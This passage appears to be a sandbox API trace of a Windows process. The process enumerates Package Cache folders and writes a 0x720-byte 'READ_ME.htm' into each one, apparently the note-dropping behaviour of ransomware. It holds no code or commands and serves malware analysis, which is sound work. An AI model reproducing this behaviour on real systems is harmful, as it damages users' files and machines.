0x52 [0142.152] SetErrorMode (uMode=0x1) returned 0x0 [0142.152] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.152] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0142.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.153] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.153] SetErrorMode (uMode=0x0) returned 0x1 [0142.153] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0142.153] SetErrorMode (uMode=0x1) returned 0x0 [0142.153] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.153] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0142.154] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0142.154] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.154] SetErrorMode (uMode=0x0) returned 0x1 [0142.154] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0142.154] SetErrorMode (uMode=0x1) returned 0x0 [0142.154] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0142.155] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0142.155] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.155] SetErrorMode (uMode=0x0) returned 0x1 [0142.155] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x5c [0142.155] SetErrorMode (uMode=0x1) returned 0x0 [0142.155] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0142.156] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0142.156] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.156] SetErrorMode (uMode=0x0) returned 0x1 [0142.156] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x5c [0142.156] SetErrorMode (uMode=0x1) returned 0x0 [0142.157] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd836a0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0142.157] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0142.157] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.157] SetErrorMode (uMode=0x0) returned 0x1 [0142.157] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\READ_ME.htm", lpFilePart=0x0) returned 0x68 [0142.158] SetErrorMode (uMode=0x1) returned 0x0 [0142.158] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.159] SetErrorMode (uMode=0x0) returned 0x1 [0142.159] GetFileType (hFile=0x1d0) returned 0x1 [0142.159] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e89d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29e89d8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0142.160] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0142.160] SetErrorMode (uMode=0x1) returned 0x0 [0142.161] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.162] SetErrorMode (uMode=0x0) returned 0x1 [0142.162] GetFileType (hFile=0x1d0) returned 0x1 [0142.162] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ed038*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29ed038*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.163] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0142.163] SetErrorMode (uMode=0x1) returned 0x0 [0142.163] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.165] SetErrorMode (uMode=0x0) returned 0x1 [0142.165] GetFileType (hFile=0x1d0) returned 0x1 [0142.165] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f1678*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29f1678*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.166] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\READ_ME.htm", lpFilePart=0x0) returned 0x55 [0142.166] SetErrorMode (uMode=0x1) returned 0x0 [0142.166] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.168] SetErrorMode (uMode=0x0) returned 0x1 [0142.168] GetFileType (hFile=0x1d0) returned 0x1 [0142.168] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f5c98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29f5c98*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.169] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", lpFilePart=0x0) returned 0x53 [0142.169] SetErrorMode (uMode=0x1) returned 0x0 [0142.169] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{0fa68574-690b-4b00-89aa-b28946231449}v14.25.28508\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.170] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.170] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0142.170] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.170] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fda9800, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.170] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.170] SetErrorMode (uMode=0x0) returned 0x1 [0142.171] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", lpFilePart=0x0) returned 